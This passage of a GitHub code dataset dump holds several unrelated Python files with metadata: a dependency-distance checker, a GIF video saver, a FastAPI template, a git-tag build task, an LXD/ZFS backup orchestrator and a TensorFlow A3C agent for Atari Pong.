token\n\n total_distance: int = 0\n for token in sentence:\n token: Token\n cur_token_id: int = int(token['id'])\n head_token_id: int = int(token['head'])\n distance: int = 0 if head_token_id == 0 else abs(\n cur_token_id - head_token_id)\n token.distance: int = distance\n total_distance += token.distance\n\n print(f'total_distance is {total_distance}.')\n sorted_sentence = sorted(sentence, key=lambda x: x.distance, reverse=True)\n for token in sorted_sentence:\n token: Token\n cur_token_str: str = token[\"form\"]\n head_token_id: int = int(token['head'])\n head_token_str: str = 'root' if head_token_id == 0 else id_token_map[\n head_token_id][\"form\"]\n print(\n f'\"{cur_token_str}\" linked to \"{head_token_str}\". distance is {token.distance}.')\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='')\n parser.add_argument(\n 'sentence', help='input target sentence', type=str, default='')\n parser.add_argument('-l', help='selecet sentence language(\"ja\" or \"en\").',\n type=str, choices=['ja', 'en'], default='ja')\n args = parser.parse_args()\n main(args.sentence, args.l)\n", "repo_name": "AngryMane/linkage_dist_checker", "sub_path": "checker.py", "file_name": "checker.py", "file_ext": "py", "file_size_in_byte": 2009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "diaparser.parsers.Parser", "line_number": 15, "usage_type": "name"}, {"api_name": "diaparser.parsers.Parser.load", "line_number": 15, "usage_type": "call"}, {"api_name": "diaparser.utils.Dataset", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 17, "usage_type": "name"}, {"api_name": "conllu.parse", "line_number": 17, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 18, "usage_type": "name"}, {"api_name": "conllu.models.Token", "line_number": 18, "usage_type": "name"}, {"api_name": "conllu.models.Token", "line_number": 20, "usage_type": "name"}, {"api_name": "conllu.models.Token", "line_number": 22, "usage_type": "name"}, {"api_name": "conllu.models.Token", "line_number": 28, "usage_type": "name"}, {"api_name": "conllu.models.Token", "line_number": 39, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 49, "usage_type": "call"}]} {"seq_id": "43330586388", "text": "import matplotlib.animation as animation\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\ndef save_video(frames, framerate=30, name_file=\"video.gif\"):\n print(frames[0].shape)\n height, width, _ = frames[0].shape\n dpi = 70\n orig_backend = matplotlib.get_backend()\n # Switch to headless 'Agg' to inhibit figure rendering.\n matplotlib.use('Agg')\n fig, ax = plt.subplots(1, 1, figsize=(width / dpi, height / dpi), dpi=dpi)\n matplotlib.use(orig_backend) # Switch back to the original backend.\n ax.set_axis_off()\n ax.set_aspect('equal')\n ax.set_position([0, 0, 1, 1])\n im = ax.imshow(frames[0])\n\n def update(frame):\n im.set_data(frame)\n return [im]\n interval = 1000/framerate\n anim = animation.FuncAnimation(fig=fig, func=update, frames=frames,\n interval=interval, blit=True, repeat=False)\n f = f\"results/{name_file}\"\n #FFwriter = animation.FFMpegWriter(fps=framerate)\n writergif = animation.PillowWriter(fps=framerate)\n anim.save(f, writer=writergif)\n", "repo_name": "mlap1n/robots-experiments", "sub_path": "src/utils/post_processing.py", "file_name": "post_processing.py", "file_ext": "py", "file_size_in_byte": 1050, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.get_backend", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.use", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.use", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.animation.PillowWriter", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 28, "usage_type": "name"}]} {"seq_id": "17059446674", "text": "from dotenv import load_dotenv\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\nimport src.api.health as api_health\nfrom src import logger\nfrom src.config.server import ServerConfig\nfrom src.container import Container\n\n\ndef create_app() -> FastAPI:\n load_dotenv()\n\n container = Container()\n\n app = FastAPI(title=\"Template API server\")\n add_cors(app=app, cfg=container.server_config())\n\n app.container = container # type: ignore[attr-defined]\n app.include_router(api_health.router)\n\n if container.health().is_healthy():\n logger.info(\"is healthy!\")\n else:\n logger.error(\"failed health check\")\n return app\n\n\ndef add_cors(app, cfg: ServerConfig):\n logger.warning(f\"CORS: {cfg.cors}\")\n app.add_middleware(\n CORSMiddleware,\n allow_origins=cfg.cors.origins,\n allow_credentials=cfg.cors.allow_credentials,\n allow_methods=cfg.cors.allow_methods,\n allow_headers=cfg.cors.allow_headers,\n )\n", "repo_name": "aurelien-clu/template-python-fast-api", "sub_path": "src/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 996, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 12, "usage_type": "call"}, {"api_name": "src.container.Container", "line_number": 14, "usage_type": "call"}, {"api_name": "fastapi.FastAPI", "line_number": 16, "usage_type": "call"}, {"api_name": "src.api.health.router", "line_number": 20, "usage_type": "attribute"}, {"api_name": "src.api.health", "line_number": 20, "usage_type": "name"}, {"api_name": "src.logger.info", "line_number": 23, "usage_type": "call"}, {"api_name": "src.logger", "line_number": 23, "usage_type": "name"}, {"api_name": "src.logger.error", "line_number": 25, "usage_type": "call"}, {"api_name": "src.logger", "line_number": 25, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 11, "usage_type": "name"}, {"api_name": "src.config.server.ServerConfig", "line_number": 29, "usage_type": "name"}, {"api_name": "src.logger.warning", "line_number": 30, "usage_type": "call"}, {"api_name": "src.logger", "line_number": 30, "usage_type": "name"}, {"api_name": "fastapi.middleware.cors.CORSMiddleware", "line_number": 32, "usage_type": "argument"}]} {"seq_id": "27118881898", "text": "# -*- coding: utf-8 -*-\n# (c) 2020-2022 Martin Wendt and contributors; see https://github.com/mar10/yabs\n# Licensed under the MIT license: https://www.opensource.org/licenses/mit-license.php\n\"\"\"\n\"\"\"\nimport os\nfrom typing import TYPE_CHECKING\n\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nfrom ..util import check_arg, log_dry, log_response\nfrom .common import TaskContext, WorkflowTask\n\nif TYPE_CHECKING: # Imported by type checkers, but prevent circular includes\n from yabs.task_runner import TaskInstance\n\n\nclass TagTask(WorkflowTask):\n DEFAULT_OPTS = {\n \"name\": \"v{version}\",\n \"message\": \"Version {version}\",\n }\n MANDATORY_OPTS = None\n\n def __init__(self, task_inst: \"TaskInstance\"):\n super().__init__(task_inst)\n\n opts = self.opts\n check_arg(opts[\"name\"], str)\n check_arg(opts[\"message\"], str)\n\n # def to_str(self, context :TaskContext):\n # add = self.opts[\"add\"] or self.opts[\"add_known\"]\n # return \"{}(add: {}, '{}')\".format(\n # self.__class__.__name__, add, self.opts[\"message\"]\n # )\n\n @classmethod\n def register_cli_command(cls, subparsers, parents, run_parser):\n \"\"\"\"\"\"\n\n @classmethod\n def check_task_def(cls, task_inst: \"TaskInstance\"):\n return True\n\n def run(self, context: TaskContext):\n opts = self.opts\n name = opts[\"name\"].format(**vars(context))\n message = opts[\"message\"].format(**vars(context))\n\n repo_path = os.path.abspath(\".\")\n repo = Repo(repo_path)\n git = repo.git\n\n if self.dry_run:\n log_dry(\"git tag -a {}\".format(name))\n context.tag_name = name\n return True\n try:\n res = git.tag(\n name,\n annotate=True,\n message=message,\n dry_run=self.dry_run,\n verbose=self.verbose >= 4,\n )\n log_response(\"git tag {}\".format(name), res, \"info\", self.dry_run)\n context.tag_name = name\n except GitCommandError as e:\n log_response(\"git tag\", \"{}\".format(e), \"error\", self.dry_run)\n return False\n return True\n", "repo_name": "mar10/yabs", "sub_path": "yabs/task/tag.py", "file_name": "tag.py", "file_ext": "py", "file_size_in_byte": 2194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 15, "usage_type": "name"}, {"api_name": "common.WorkflowTask", "line_number": 19, "usage_type": "name"}, {"api_name": "util.check_arg", "line_number": 30, "usage_type": "call"}, {"api_name": "util.check_arg", "line_number": 31, "usage_type": "call"}, {"api_name": "common.TaskContext", "line_number": 47, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "git.Repo", "line_number": 53, "usage_type": "call"}, {"api_name": "util.log_dry", "line_number": 57, "usage_type": "call"}, {"api_name": "git.tag", "line_number": 61, "usage_type": "call"}, {"api_name": "util.log_response", "line_number": 68, "usage_type": "call"}, {"api_name": "git.exc.GitCommandError", "line_number": 70, "usage_type": "name"}, {"api_name": "util.log_response", "line_number": 71, "usage_type": "call"}]} {"seq_id": "70160182334", "text": "from asyncio.events import AbstractEventLoop\nfrom typing import List\nfrom enum import Enum, auto\nimport asyncio\nfrom pydantic.main import BaseConfig\nfrom dataclasses import dataclass\n\n\nfrom lxdbackup.job import Job\n\nfrom lxdbackup.zfs import ZfsUtil\nfrom lxdbackup.backup_commands import ArgBuilder, SyncoidArgs, CommandRunner\nfrom lxdbackup.backup_logs import Log\nfrom lxdbackup.copy_params import CopyParams\n\nfrom config.base_config import BackupConfig\n\n\nCONFIG_FILENAME = \".config.yml\"\n\n\ndef main():\n\n # Get an instance of Backup\n backup = get_backup()\n # get jobs from Backup\n jobs, _ = get_jobs(backup)\n\n # job runner\n for job in jobs:\n run_job(job)\n\n\n# job runner\ndef run_job(job):\n for container in job[\"containers\"]:\n container_copy_params = get_container_copy_params(job, container)\n # send to backup pipeline\n build_copy_command(container_copy_params)\n\n\ndef build_copy_command(container_copy_params):\n z_src, z_dst = src_dst_creator(container_copy_params)\n\n args = build_args(z_src, z_dst)\n cmd = ArgBuilder(args=args)\n run = CommandRunner(cmd.arg_string)\n\n backup(run)\n\n\ndef src_dst_creator(copy_params):\n z_src = setup_source(copy_params)\n z_dst = setup_dest(copy_params)\n return z_src, z_dst\n\n\n# Job(BackupConfig)\n# Factory?\ndef get_backup():\n return BackupConfig(CONFIG_FILENAME)\n\n\ndef get_jobs(backup):\n job = Job(backup)\n return job.jobs, job.job_containers\n\n\n# ParamBuilder\n# factory?\ndef get_container_copy_params(job, container):\n copy_params = CopyParams(\n src_container=container[\"name\"],\n src_host=job[\"src_host\"],\n src_host_user=job[\"src_user\"],\n dst_container=container[\"dst_name\"],\n dst_host=job[\"dst_host\"],\n dst_host_user=job[\"dst_user\"],\n )\n\n return copy_params\n # run backup\n # todo: if host is not local running host, then ssh via paramiko and then run commands locally\n # todo: change backup.yaml file in mounted lxd to suit new storage pools and location\n # todo: lxd unmount\n # todo: lxd import\n # todo: live monitor of process output, threading, asyncio etc\n # todo: run all including syncoid in a bundled docker container or just run from docker container on the source\n # host by default\n # run.backup()\n # print(run.result)\n # logging(run)\n # asyncio\n\n\n# Runner\ndef backup(run):\n loop: AbstractEventLoop = asyncio.get_event_loop()\n async_q = asyncio.Queue()\n task = asyncio.gather(run.backup(async_q))\n\n loop.run_until_complete(task)\n\n # await async_q.put(run.backup())\n # result = asyncio.run(run.backup())\n\n\n# logger\ndef logging(run):\n log = Log()\n log.log(run.result[\"stdout\"], run.result[\"stderr\"])\n\n\n# param builder\ndef build_args(z_src, z_dst):\n args = SyncoidArgs(\n src_host=z_src.host,\n src_user=z_src.user,\n dst_host=z_dst.host,\n dst_user=z_dst.user,\n zfs_source_path=z_src.source_container_path,\n zfs_destination_path=z_dst.destination_container_path,\n )\n\n return args\n\n\n# job setup\ndef setup_dest(copy_params):\n\n z_dst = ZfsUtil(host=copy_params.dst_host, user=copy_params.dst_host_user)\n\n # run prechecks #todo\n # run_dataset_prechecks(z_dst)\n\n z_dst.set_destination_container(copy_params.dst_container)\n return z_dst\n\n\n# job setup\ndef setup_source(copy_params):\n z_src = ZfsUtil(host=copy_params.src_host, user=copy_params.src_host_user)\n z_src.set_source_container(copy_params.src_container)\n return z_src\n\n\ndef run_dataset_prechecks(z_dst):\n return\n # todo\n lxd_check = DatasetCheck()\n if check_for_existing_dataset(z_dst.datasets):\n # if dataset exists return true\n return\n else:\n # todo\n lxc_dataset_creator = DatasetCreator()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "bodleytunes/lxd_backup_system_zfs", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3832, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "lxdbackup.backup_commands.ArgBuilder", "line_number": 46, "usage_type": "call"}, {"api_name": "lxdbackup.backup_commands.CommandRunner", "line_number": 47, "usage_type": "call"}, {"api_name": "config.base_config.BackupConfig", "line_number": 61, "usage_type": "call"}, {"api_name": "lxdbackup.job.Job", "line_number": 65, "usage_type": "call"}, {"api_name": "lxdbackup.copy_params.CopyParams", "line_number": 72, "usage_type": "call"}, {"api_name": "asyncio.events.AbstractEventLoop", "line_number": 98, "usage_type": "name"}, {"api_name": "asyncio.get_event_loop", "line_number": 98, "usage_type": "call"}, {"api_name": "asyncio.Queue", "line_number": 99, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 100, "usage_type": "call"}, {"api_name": "lxdbackup.backup_logs.Log", "line_number": 110, "usage_type": "call"}, {"api_name": "lxdbackup.backup_commands.SyncoidArgs", "line_number": 116, "usage_type": "call"}, {"api_name": "lxdbackup.zfs.ZfsUtil", "line_number": 131, "usage_type": "call"}, {"api_name": "lxdbackup.zfs.ZfsUtil", "line_number": 142, "usage_type": "call"}]} {"seq_id": "74546958650", "text": "\n\nimport numpy as np\nimport gym\nimport random\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom matplotlib import style\nimport scipy.signal\n\nimport threading\nimport multiprocessing\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport re\nfrom time import sleep\nfrom time import time\nfrom scipy.misc import imresize\n\nfrom tensorflow.python.tools.inspect_checkpoint import print_tensors_in_checkpoint_file\n\n\ndef process_frame(frame):\n luminance = np.sum(frame, 2).astype('float32')\n luminance = luminance[27:, :]\n luminance = imresize(luminance, (84, 84)).astype('float32')\n luminance = imresize(luminance, (42, 42)).astype('float32')*(1 / 255.0)\n luminance = np.expand_dims(luminance, axis=3)\n\n return luminance\n\n\nclass A3C_Network:\n\n def normalized_columns_initializer(self , std = 1.0):\n def _initializer(shape, dtype=None, partition_info=None):\n out = (np.random.randn(*shape).astype(np.float32))\n out *= std / np.sum(np.sqrt(np.square(out)))\n return tf.constant(out)\n\n return _initializer\n\n def AIconv2d(self, x, num_filters, name, filter_size=(3, 3), stride=(1, 1), pad=\"SAME\", dtype=tf.float32, collections=None):\n with tf.variable_scope(name):\n\n stride_shape = [1, stride[0], stride[1], 1]\n filter_shape = [filter_size[0], filter_size[1], int(x.get_shape()[3]), num_filters]\n\n fan_in = np.prod(filter_shape[:3])\n\n fan_out = np.prod(filter_shape[:2]) * num_filters\n w_bound = np.sqrt(6. / (fan_in + fan_out))\n\n w = tf.get_variable(\"W\", filter_shape, dtype, tf.random_uniform_initializer(-w_bound, w_bound),\n collections=collections)\n b = tf.get_variable(\"b\", [1, 1, 1, num_filters], initializer=tf.constant_initializer(0.0),\n collections=collections)\n return tf.nn.conv2d(x, w, stride_shape, pad) + b\n\n def __init__(self, pix_x , pix_y, scope, trainer, act_space= 6):\n\n with tf.variable_scope(scope):\n\n strides1 = int(4)\n strides2 = int(2)\n\n full_c1 = int(pix_x/(strides1*strides2))\n full_c2 = int(pix_y/(strides1*strides2))\n\n filters2 = 32\n\n self.input = tf.placeholder(dtype=tf.float32, shape=(None, 42 , 42, 1), name='frame_input')\n\n self.conv1 = slim.conv2d(activation_fn=tf.nn.elu,\n inputs=self.input, num_outputs=32,\n kernel_size=[3, 3], stride=[2, 2], padding='SAME')\n\n self.conv2 = slim.conv2d(activation_fn=tf.nn.elu,\n inputs=self.conv1, num_outputs=32,\n kernel_size=[3, 3], stride=[2, 2], padding='SAME')\n self.conv3= slim.conv2d(activation_fn=tf.nn.elu,\n inputs=self.conv2, num_outputs=32,\n kernel_size=[3, 3], stride=[2, 2], padding='SAME')\n self.conv4 = slim.conv2d(activation_fn=tf.nn.elu,\n inputs=self.conv3, num_outputs=32,\n kernel_size=[3, 3], stride=[2, 2], padding='SAME')\n self.hidden = slim.fully_connected(slim.flatten(self.conv4), 256, activation_fn=tf.nn.elu)\n\n lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(256, state_is_tuple = True)\n\n init_cell_state = tf.constant(value = 0, shape = (1, lstm_cell.state_size.c), dtype = tf.float32)\n init_hidden_state = tf.constant(value = 0, shape = (1, lstm_cell.state_size.h), dtype = tf.float32)\n\n self.init_cell = [init_cell_state, init_hidden_state]\n\n self.c_in = tf.placeholder(dtype = tf.float32,shape = (1, lstm_cell.state_size.c), name = 'c_in')\n self.h_in = tf.placeholder(dtype = tf.float32, shape = (1, lstm_cell.state_size.h), name = 'h_in')\n\n self.rnn_in = tf.expand_dims(self.hidden, [0])\n step_size = tf.shape(self.input)[:1]\n self.state_in = tf.nn.rnn_cell.LSTMStateTuple(self.c_in, self.h_in)\n self.lstm_outputs, self.lstm_state = tf.nn.dynamic_rnn(\n lstm_cell, self.rnn_in, initial_state=self.state_in,\n time_major=False, sequence_length=step_size)\n\n self.lstm_outputs = tf.squeeze(self.lstm_outputs, axis = 0)\n\n\n condense_to_value = tf.get_variable(dtype=tf.float32, shape = (256), initializer=self.normalized_columns_initializer(std= 1),\n name='form_value')\n\n\n self.value_output =tf.tensordot(self.lstm_outputs, condense_to_value, [[1], [0]])\n condense_to_actions = tf.get_variable(dtype=tf.float32,\n shape = (256, act_space), initializer=self.normalized_columns_initializer(std= 0.01), name='c_act')\n action_output = tf.tensordot(self.lstm_outputs, condense_to_actions, [[1], [0]], name = 'action1')\n self.norm_actions = tf.nn.softmax(action_output)\n\n self.test = self.lstm_outputs\n\n if scope != 'global':\n R = tf.placeholder(dtype=tf.float32, shape=(None), name='perf_reward')\n get_value = tf.placeholder(dtype=tf.float32, shape=(None), name='perf_value')\n get_action = tf.placeholder(dtype=tf.int32, shape=(None), name='perf_action')\n advantage = tf.placeholder(dtype = tf.float32 ,shape = (None) , name = 'advantage')\n\n self.one_hot_action = tf.one_hot(get_action,act_space)\n self.action_channel1 = tf.multiply(self.norm_actions, self.one_hot_action)\n self.action_channel = tf.reduce_sum(self.action_channel1,1)\n\n self.clip_action = tf.clip_by_value(self.action_channel,0.000001,9999999)\n self.value_loss = tf.reduce_sum(tf.square(self.value_output-R))\n self.action_loss = tf.reduce_sum(tf.log(self.clip_action)*advantage)\n self.entropy = -tf.reduce_sum(tf.log(self.norm_actions)*self.norm_actions)\n self.full_loss = 0.5*self.value_loss - self.action_loss - 0.01*self.entropy\n\n local_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope)\n self.gradients = tf.gradients(self.full_loss , local_vars)\n\n\n\n self.var_norms = tf.global_norm(local_vars)\n grads, self.grad_norms = tf.clip_by_global_norm(self.gradients, 40.0)\n global_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES,'global')\n self.apply_grads = trainer.apply_gradients(zip(self.gradients, global_vars))\n\n def create_network(self):\n init = tf.initialize_all_variables()\n return [init, tf.shape(self.norm_actions)]\n\nclass Worker(A3C_Network):\n\n\n\n def __init__(self, the_scope, trainer):\n A3C_Network.__init__(self, 42, 42, the_scope, trainer, act_space=3)\n self.gamma = 0.9900\n self.update_local_ops = self.copy_scope('global', the_scope)\n self.the_scope = the_scope\n self.max_episodes = 300\n self.summary_writer = tf.summary.FileWriter(\"tensorBoard/train_\" + the_scope)\n\n\n def get_scope(self):\n return self.the_scope\n\n def copy_scope(self,from_scope,to_scope):\n source_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, from_scope)\n target_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope)\n\n op_holder = []\n for source_vars, target_vars in zip(source_vars,target_vars):\n op_holder.append(tf.assign(target_vars,source_vars))\n return op_holder\n\n def discounted_reward(self , reward_buffer, bsv, clip = True):\n discount_vector = np.ones([1,len(reward_buffer)])*self.gamma\n\n discount_vector[0,0] = 1\n discount_vector = np.cumproduct(discount_vector)\n\n L = len(reward_buffer)\n\n discounted_reward_buffer = []\n for R in enumerate(reward_buffer[:]):\n discounted_reward_buffer.append(bsv*np.power(self.gamma,( L - R[0])-1) + np.sum((discount_vector[0:(L - R[0])]*reward_buffer[R[0]:])))\n if clip == True:\n return discounted_reward_buffer[:-1]\n else:\n return discounted_reward_buffer\n def train_worker(self, discounted_reward_buffer,reward_buffer, state_buffer , action_buffer, value_buffer,rnn_state_buffer_h, rnn_state_buffer_c, sess):\n\n advantage = np.asarray(self.reward_buffer[:-1]) + self.gamma * np.asarray(\n self.value_buffer[1:]) - np.asarray(self.value_buffer [:-1])\n advantage = self.discounted_reward(advantage, 0, clip = False)\n\n\n feed_dict = {self.the_scope + '/frame_input:0': state_buffer[:-1],\n self.the_scope + '/c_in:0': rnn_state_buffer_c,\n self.the_scope + '/h_in:0': rnn_state_buffer_h,\n self.the_scope + '/advantage:0': advantage,\n self.the_scope + '/perf_action:0': action_buffer[:-1],\n self.the_scope + '/perf_reward:0': discounted_reward_buffer,\n self.the_scope + '/perf_value:0': value_buffer[:-1]}\n\n sess.run([self.value_output, self.full_loss, self.value_loss,self.action_loss,self.entropy] , feed_dict = feed_dict)\n sess.run(self.apply_grads, feed_dict=feed_dict)\n #print(np.shape(sess.run(self.test, feed_dict=feed_dict)))\n #print(sess.run(self.test, feed_dict=feed_dict))\n\n def run_atari_episode(self , max_steps, episodes , sess ,coord, saver):\n\n env = gym.make('PongDeterministic-v0')\n\n track_loss = 0\n esp = 0\n with sess.as_default() and sess.graph.as_default():\n\n while not coord.should_stop():\n if esp % 20 == 0 and self.the_scope == 'local_0':\n saver.save(sess,\"/media/asger/ce7a4008-6b8f-447d-9acc-614945aef109/space_invaders_global.ckpt\")\n print('saving episode ', esp)\n esp += 1\n action = 0\n done = 0\n obs_prev = env.reset()\n obs_prev = process_frame(obs_prev)\n rnn_state = sess.run(self.init_cell)\n\n self.state_buffer = []\n self.reward_buffer = []\n self.actions_buffer = []\n self.value_buffer = []\n\n\n while done == 0:\n\n self.rnn_state_buffer_c = rnn_state[0]\n self.rnn_state_buffer_h = rnn_state[1]\n\n for i in range(max_steps):\n\n obs_prev = process_frame(obs_prev)\n feed_dict = {self.the_scope + '/frame_input:0': [obs_prev], self.the_scope + '/c_in:0': rnn_state[0],\n self.the_scope + '/h_in:0': rnn_state[1]}\n\n norm_actions, value_est, new_rnn_state = sess.run([self.norm_actions, self.value_output, self.lstm_state], feed_dict=feed_dict)\n\n if i != max_steps - 1:\n rnn_state = new_rnn_state\n\n norm_actions = norm_actions[0]\n a = np.random.choice(norm_actions, p=norm_actions)\n chosen_action = np.argmax(norm_actions == a)\n\n obs_next , reward , done , info = env.step(1+chosen_action)\n\n if self.the_scope == 'local_0':\n env.render()\n print(chosen_action)\n print(norm_actions)\n print(value_est[0])\n\n\n self.state_buffer.append(obs_prev)\n self.actions_buffer.append(chosen_action)\n self.value_buffer.append(value_est[0])\n self.reward_buffer.append(reward)\n\n\n if i == max_steps-1 or done == 1:\n\n boot_strap_val = self.value_buffer[len(self.value_buffer)-1]\n discounted_reward_buffer = self.discounted_reward(self.reward_buffer, boot_strap_val)\n self.train_worker(discounted_reward_buffer, self.reward_buffer, self.state_buffer, self.actions_buffer, self.value_buffer,self.rnn_state_buffer_h,self.rnn_state_buffer_c, sess)\n sess.run(self.update_local_ops)\n if done == 1:\n break\n\n self.state_buffer = [self.state_buffer[len(self.state_buffer) - 1]]\n self.reward_buffer = [self.reward_buffer[len(self.reward_buffer) - 1]]\n self.actions_buffer = [self.actions_buffer[len(self.actions_buffer) - 1]]\n self.value_buffer = [self.value_buffer[len(self.value_buffer) - 1]]\n obs_prev = obs_next\n\n\n\nclass DeployModel:\n\n def display_processed_frame(self):\n env = gym.make('Pong-v0')\n get_frame = env.reset()\n for i in range(46):\n act = env.action_space.sample()\n get_frame,_,_,_ = env.step(act)\n env.render()\n processed_frame = process_frame(get_frame)\n processed_frame = np.tile(processed_frame,3)\n plt.imshow(processed_frame)\n plt.show()\n\n return processed_frame\n\n def load(self, episodes, path):\n\n tf.reset_default_graph()\n saver = tf.train.import_meta_graph(path + '.meta')\n with tf.Session() as sess:\n\n graph = tf.get_default_graph()\n saver.restore(sess,path)\n print('model restored')\n env = gym.make('SpaceInvaders-v0')\n esp = 0\n print_tensors_in_checkpoint_file(file_name=path , tensor_name='', all_tensors=False, all_tensor_names=True)\n\n placeholder = graph.get_tensor_by_name(\"local_0/frame_input:0\")\n h_in = graph.get_tensor_by_name(\"local_0/h_in:0\")\n c_in = graph.get_tensor_by_name(\"local_0/c_in:0\")\n\n init_cell_state = np.asarray(np.zeros([1,256]), dtype=np.float32)\n init_hidden_state = np.asarray(np.zeros([1,256]), dtype=np.float32)\n\n op_to_restore = graph.get_tensor_by_name(\"local_0/action2:0\")\n while esp < episodes:\n obs = env.reset()\n done = 0\n esp += 1\n while done == 0:\n obs = process_frame(obs)\n feed_dict = {placeholder:[obs], h_in:init_hidden_state, c_in: init_cell_state}\n norm_actions = sess.run(op_to_restore, feed_dict = feed_dict)[0]\n alt = np.random.choice(norm_actions, p=norm_actions)\n chosen_action = np.argmax(norm_actions == alt)\n #print(chosen_action)\n act = env.action_space.sample()\n obs, reward, done, info = env.step(act)\n env.render()\n sleep(1.0/24)\n sess.close()\n\n\n\n\n def train(self,threads, episodes, max_steps):\n tf.reset_default_graph()\n with tf.device('/cpu:0'):\n\n global_network = Worker('global',tf.train.RMSPropOptimizer(learning_rate=0))\n cores = multiprocessing.cpu_count()\n Workers = []\n if threads > cores:\n threads = cores\n\n\n\n for q in range(threads):\n learningrate = 0.0003\n print(learningrate)\n a_worker = Worker('local_' + str(q), tf.train.RMSPropOptimizer(learning_rate=learningrate, epsilon=0.1, decay = 0.99))\n Workers.append(a_worker)\n print('deploy_worker' + str(q))\n\n\n saver = tf.train.Saver(var_list= tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES,'local_0'))\n with tf.Session() as sess1:\n global buffer\n sess1.run(tf.global_variables_initializer())\n coord = tf.train.Coordinator()\n worker_threads = []\n for w in Workers:\n worker_work = lambda: w.run_atari_episode(max_steps, episodes, sess1,coord, saver)\n t = threading.Thread(target=worker_work)\n t.start()\n sleep(5)\n worker_threads.append(t)\n\n\n coord.join(worker_threads)\n sess1.close()\n print('training is complete')\n\n\npath = '/media/asger/ce7a4008-6b8f-447d-9acc-614945aef109/space_invaders_global.ckpt'\n\ninstance = DeployModel()\n#instance.load(10,path)\ninstance.train(100, 100000,5)\n\n\n\n\n", "repo_name": "asgerMe/A3C", "sub_path": "Atari.py", "file_name": "Atari.py", "file_ext": "py", "file_size_in_byte": 16673, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.sum", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.misc.imresize", "line_number": 26, "usage_type": "call"}, {"api_name": "scipy.misc.imresize", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform_initializer", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.constant_initializer", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.nn.conv2d", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.conv2d", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.contrib.slim", "line_number": 74, "usage_type": "name"}, {"api_name": "tensorflow.nn", "line_number": 74, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.conv2d", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.contrib.slim", "line_number": 78, "usage_type": "name"}, {"api_name": "tensorflow.nn", "line_number": 78, 